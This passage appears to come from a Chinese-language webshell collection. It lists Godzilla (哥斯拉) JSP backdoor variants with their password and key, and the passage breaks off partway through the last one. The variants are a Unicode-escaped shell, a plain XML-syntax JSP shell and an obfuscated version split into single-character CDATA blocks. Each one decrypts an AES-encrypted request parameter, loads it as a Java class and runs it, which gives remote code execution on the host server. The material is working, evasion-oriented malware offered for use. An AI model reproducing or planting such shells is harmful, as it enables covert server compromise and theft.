u003d\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0066\u003d\u0028\u0028\u0043\u006c\u0061\u0073\u0073\u0029\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"payload"\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0066\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0061\u0072\u0072\u004f\u0075\u0074\u0029\u003b\u0066\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0070\u0061\u0067\u0065\u0043\u006f\u006e\u0074\u0065\u0078\u0074\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u006d\u0064\u0035\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0030\u002c\u0031\u0036\u0029\u0029\u003b\u0066\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0028\u0078\u0028\u0061\u0072\u0072\u004f\u0075\u0074\u002e\u0074\u006f\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u0028\u0029\u002c\u0020\u0074\u0072\u0075\u0065\u0029\u0029\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u006d\u0064\u0035\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0036\u0029\u0029\u003b\u007d\u0020\u007d\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u007b\u007d%>

Html

哥斯拉

哥斯拉，密码 pass，密钥 key

<?xml version="1.0" encoding="UTF-8"?><jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:declaration> String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }</jsp:declaration><jsp:scriptlet>try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}</jsp:scriptlet></jsp:root>

CDATA

哥斯拉

哥斯拉，密码 pass，密钥 key

|

<?xml version="1.0" encoding="UTF-8"?><jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:declaration><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[x]]><![CDATA[c]]><![CDATA[=]]><![CDATA["]]><![CDATA[3]]><![CDATA[c]]><![CDATA[6]]><![CDATA[e]]><![CDATA[0]]><![CDATA[b]]><![CDATA[8]]><![CDATA[a]]><![CDATA[9]]><![CDATA[c]]><![CDATA[1]]><![CDATA[5]]><![CDATA[2]]><![CDATA[2]]><![CDATA[4]]><![CDATA[a]]><![CDATA["]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[p]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[=]]><![CDATA["]]><![CDATA[p]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA["]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[d]]><![CDATA[5]]><![CDATA[=]]><![CDATA[m]]><![CDATA[d]]><![CDATA[5]]><![CDATA[(]]><![CDATA[p]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[+]]><![CDATA[x]]><![CDATA[c]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[X]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[x]]><![CDATA[t]]><![CDATA[e]]><![CDATA[n]]><![CDATA[d]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[L]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[{]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[X]]><![CDATA[(]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[L]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[z]]><![CDATA[)]]><![CDATA[{]]><![CDATA[s]]><![CDATA[u]]><![CDATA[p]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[z]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[Q]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[b]]><![CDATA[)]]><![CDATA[{]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[u]]><![CDATA[p]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[d]]><![CDATA[e]]><![CDATA[f]]><![CDATA[i]]><![CDATA[n]]><![CDATA[e]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[c]]><![CDATA[b]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[0]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[b]]><![CDATA[.]]><![CDATA[l]]><![CDATA[e]]><![CDATA[n]]><![CDATA[g]]><![CDATA[t]]><![CDATA[h]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[x]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[,]]><![CDATA[b]]><![CDATA[o]]><![CDATA[o]]><![CDATA[l]]><![CDATA[e]]><![CDATA[a]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[)]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[{]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[x]]><![CDATA[.]]><![CDATA[c]]><![CDATA[r]]><![CDATA[y]]><![CDATA[p]]><![CDATA[t]]><![CDATA[o]]><![CDATA[.]]><![CDATA[C]]><![CDATA[i]]><![CDATA[p]]><![CDATA[h]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[=]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[x]]><![CDATA[.]]><![CDATA[c]]><![CDATA[r]]><![CDATA[y]]><![CDATA[p]]><![CDATA[t]]><![CDATA[o]]><![CDATA[.]]><![CDATA[C]]><![CDATA[i]]><![CDATA[p]]><![CDATA[h]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[A]]><![CDATA[E]]><![CDATA[S]]><![CDATA["]]><![CDATA[)]]><![CDATA[;]]><![CDATA[c]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[i]]><![CDATA[t]]><![CDATA[(]]><![CDATA[m]]><![CDATA[?]]><![CDATA[1]]><![CDATA[:]]><![CDATA[2]]><![CDATA[,]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[x]]><![CDATA[.]]><![CDATA[c]]><![CDATA[r]]><![CDATA[y]]><![CDATA[p]]><![CDATA[t]]><![CDATA[o]]><![CDATA[.]]><![CDATA[s]]><![CDATA[p]]><![CDATA[e]]><![CDATA[c]]><![CDATA[.]]><![CDATA[S]]><![CDATA[e]]><![CDATA[c]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[K]]><![CDATA[e]]><![CDATA[y]]><![CDATA[S]]><![CDATA[p]]><![CDATA[e]]><![CDATA[c]]><![CDATA[(]]><![CDATA[x]]><![CDATA[c]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[,]]><![CDATA["]]><![CDATA[A]]><![CDATA[E]]><![CDATA[S]]><![CDATA["]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[.]]><![CDATA[d]]><![CDATA[o]]><![CDATA[F]]><![CDATA[i]]><![CDATA[n]]><![CDATA[a]]><![CDATA[l]]><![CDATA[(]]><![CDATA[s]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[{]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[t]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[d]]><![CDATA[5]]><![CDATA[(]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[;]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[s]]><![CDATA[e]]><![CDATA[c]]><![CDATA[u]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[y]]><![CDATA[.]]><![CDATA[M]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[a]]><![CDATA[g]]><![CDATA[e]]><![CDATA[D]]><![CDATA[i]]><![CDATA[g]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[;]]><![CDATA[m]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[s]]><![CDATA[e]]><![CDATA[c]]><![CDATA[u]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[y]]><![CDATA[.]]><![CDATA[M]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[a]]><![CDATA[g]]><![CDATA[e]]><![CDATA[D]]><![CDATA[i]]><![CDATA[g]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[M]]><![CDATA[D]]><![CDATA[5]]><![CDATA["]]><![CDATA[)]]><![CDATA[;]]><![CDATA[m]]><![CDATA[.]]><![CDATA[u]]><![CDATA[p]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[s]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[0]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[.]]><![CDATA[l]]><![CDATA[e]]><![CDATA[n]]><![CDATA[g]]><![CDATA[t]]><![CDATA[h]]><![CDATA[(]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[m]]><![CDATA[a]]><![CDATA[t]]><![CDATA[h]]><![CDATA[.]]><![CDATA[B]]><![CDATA[i]]><![CDATA[g]]><![CDATA[I]]><![CDATA[n]]><![CDATA[t]]><![CDATA[e]]><![CDATA[g]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[1]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[.]]><![CDATA[d]]><![CDATA[i]]><![CDATA[g]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[(]]><![CDATA[)]]><![CDATA[)]]><![CDATA[.]]><![CDATA[t]]><![CDATA[o]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[(]]><![CDATA[1]]><![CDATA[6]]><![CDATA[)]]><![CDATA[.]]><![CDATA[t]]><![CDATA[o]]><![CDATA[U]]><![CDATA[p]]><![CDATA[p]]><![CDATA[e]]><![CDATA[r]]><![CDATA[C]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[}]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[t]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[t]]><![CDATA[h]]><![CDATA[r]]><![CDATA[o]]><![CDATA[w]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[;]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[;]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[=]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[.]]><![CDATA[f]]><![CDATA[o]]><![CDATA[r]]><![CDATA[N]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[u]]><![CDATA[t]]><![CDATA[i]]><![CDATA[l]]><![CDATA[.]]><![CDATA[B]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA["]]><![CDATA[)]]><![CDATA[;]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA["]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA["]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[)]]><![CDATA[;]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[)]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA["]]><![CDATA[e]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[T]]><![CDATA[o]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA["]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[.]]><![CDATA[c]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[=]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[.]]><![CDATA[f]]><![CDATA[o]]><![CDATA[r]]><![CDATA[N]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[s]]><![CDATA[u]]><![CDATA[n]]><![CDATA[.]]><![CDATA[m]]><![CDATA[i]]><![CDATA[s]]><![CDATA[c]]><![CDATA[.]]><![CDATA[B]]><![CDATA[A]]><![CDATA[S]]><![CDATA[E]]><![CDATA[6]]><![CDATA[4]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA["]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[.]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ 